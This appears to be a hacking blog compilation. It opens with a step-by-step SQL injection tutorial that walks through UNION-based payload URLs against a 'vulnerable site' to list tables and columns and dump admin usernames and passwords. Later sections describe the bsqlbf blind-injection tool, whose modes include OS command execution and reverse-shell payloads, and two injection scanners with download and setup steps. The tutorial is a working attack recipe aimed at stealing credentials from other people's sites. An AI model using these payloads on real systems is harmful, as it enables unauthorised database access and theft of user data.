SQL Injection Tutorial

There are many types  of  sql injection  but in this tutorial I will  explain how you can extract  columns  ,tables containing useful data such as passwords ,user id , emails , admin pass and id ..  etc

Exploiting The Vulnerability

Now say we have found a vulnerable site add    at the end of the url and if it returns with a
Error message then the site is vulnerable 


Example:-
www.vulnarable site.net/articles.php?id =1  ‘



 Now we need to find  the number of columns in current table
 For this we use “order by” commond  Add order by 1 -- 
 To the end of the url . Increase the numbers till we get a error message 


Example:-
www.vulnarable site.net/articles.php?id =1 order by 1--

www.vulnarable site.net/articles.php?id =1  order by 2--

www.vulnarable site.net/articles.php?id =1  order by 3--

www.vulnarable site.net/articles.php?id =1  order by 4--

www.vulnarable site.net/articles.php?id =1  order by 5 --

And so on till we get a error message 


Say we get a error message when we enter order by 5 --
Then number of columns in data base is 4 


Now we use the “ union all select “ commond to find the vulnerable column
Add union all select + the number of columns that we found in the last step


Exam
ple:-
www.vulnarable site.net/articles.php?id =1 union all select 1,2,3,4  --


Now we should we should find some numbers popping out 
Say we find one number 3 then column is vulnerable



We can  find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:

user()  , database(),version(),@@user,@@version,@@database

First thing is to find the  version of Mysql we add “@@ version “replacing the vulnerable column


Example:-
www.vulnarable site.net/articles.php?id =1  union all select 1,2,@@version ,4 --


Now we must see the version of  Msql at place where the number popped out in the previous step .If it is above 5  continue reading . If it is 4 and below then you have to brute force or guess the table and column names .

Now we need to find  all the table names in the database. To do this we use the following commands


table_name  ,information_schema.tables


Example:- 
www.vulnarable site.net/articles.php?id =1 Union all select 1,2,table_name,4 from information_schema.tables --


Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as admin tables or member or user tables. And so on


Now  we must find all the column names in the database, to do this we use the following command “group_concat(column_name) “,


Example:-
www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(column_name) ,4 from information_schema.columns --

 Now  look for interesting names such as user name ,id ,email and password.
And so on 


Finally we need to dump the data from the columns corresponding to the tables  
For this we use the following  command group_concat
 Now  say we want to get the “user id“ ,"username" and "password" fields, from table "admin"  we use group_concat command
  

Example:-
www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(user id ,0x3a, username,0x3a,password),4 from admin--

If the command is successful  we must find the user id , user name , password


Example :-
1 .   admin : pass 
2 .   user    : password


Most of the times the passwords are cyrpted to crack them refer my posts on Hashes and Salts

[bsqlbf Brute forcer] Automated Blind SQL Injection Attacking Tool




What is Blind SQL Injection
Some Websites are vulnerable to SQL Injection but the results of injection are not visible to the attacker.  In this situation, Blind SQL Injection is used. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered.



There are plenty of automated Blind Sql Injection tool available. Here i am introducing one of Tool named as bsqlbf(expanded as Blind Sql Injection Brute Forcer).

This tool is written in Perl and allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections

Supported Database:

  • MS-SQL
  • MySQL
  • PostgreSQL
  • Oracle
The tool supports 8 attack modes:-
Type 0: Blind SQL Injection based on true and false conditions returned by back-end server

Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.

Type 2: Blind SQL Injection in "order by" and "group by".

Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)

Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)

Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)

Type 6: is O.S code execution DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit

Type 7: is O.S code execution SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs
      -cmd=revshell Type 7 supports meterpreter payload execution, run generator.exe first

Type 8: is O.S code execution DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions
     -cmd=revshell Type 8 supports meterpreter payload execution, run generator.exe first




For Type 4(O.S code execution) the following methods are supported:

-stype: How you want to execute command:

SType 0 (default) is based on java..will NOT work against XE. 

SType 1 is against oracle 9 with plsql_native_make_utility. 

SType 2 is against oracle 10 with dbms_scheduler.


Only for Educational Purpose

SQL Injection Tool to test the Vulnerability for Pen Testers



SQL Inject Me is Mozilla addon that is used to test the SQL Injection Vulnerability of Web Application.  It reduces the workload of Manual SQL Injection Test.  This is especially designed for Pen Testers and Web Masters not for hackers.

Download
Working
The tool works by submitting your HTML forms and substituting the form value with strings that are representative of an SQL Injection attack.

The tool works by sending database escape strings through the form fields. It then looks for database error messages that are output into the rendered HTML of the page.

The tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.


NTO SQL Invader : Free Sql Injection Vulnerability scanning & Exploiting Tool


NT Objectives, A security application provider released a new SQL Injection Vulnerability Scanner, it will be very helpful for Penetration Testers to find the Vulnerabilities in Web Application.

"NTO SQL Invader" which scans for Sql injection vulnerability and exploits the Sql Injection vulnerability with few simple clicks. It is free to use..! NTO SQL Invader allows pen testers and developers to quickly and easily leverage a vulnerability to view the list of records, tables and user accounts on the back-end database.



Features:
  • Easy to use - The tool’s GUI interface enables you to simply paste the injectable request found by a DAST tool or feed a detailed request straight from an application scan report. You can then control how much information is harvested.
  • Clearly presents evidence - Unlike tools that provide all data via command line, NTO SQL Invader provides the data in a organized manner that is useful for both executive meetings as well as technical analysis and re mediation.
  • Enables easy transport of logging data - All of the data harvested from NTO SQL Invader can be saved into a CSV file so the reports can be included as penetration evidence as part of a presentation or POC.
You can download the tool from here:
http://go.ntobjectives.com/l/8672/2011-12-01/DRMN

In order to get the application , you have to enter your email address. They will send the link to the application.

I got only NTOSQLInvader_Setup.exe file. I think you know that ".exe" files works only in Windows.
(You can also run the .exe files in Linux using Wine Application).


How to run the SQL Invader in Linux?
Requirements:
JRE 1.4 or 1.5 or 1.6 version

Step 1:
Download the .exe file from the given link. 
Place it in desktop.

Step 2: 
Right click on the NTOSQLInvader_Setup.exe file and click the extract here .

Now you can find a NTOSQLInvader_Setup folder in your desktop. 

Step 3:
Open the folder ,there you can see three files . We are going to need "NTOSQLInvader.jar " file only. So delete other two files.

Step 4:
That's all , copy the .jar file anywhere else or leave it in Dekstop itself.
Double click the file it will start to run.
Enjoy the application in Linux also...!!

You can run the NTOSQLInvader.jar file alone in any operating system(windows,mac,...), if you installed JRE.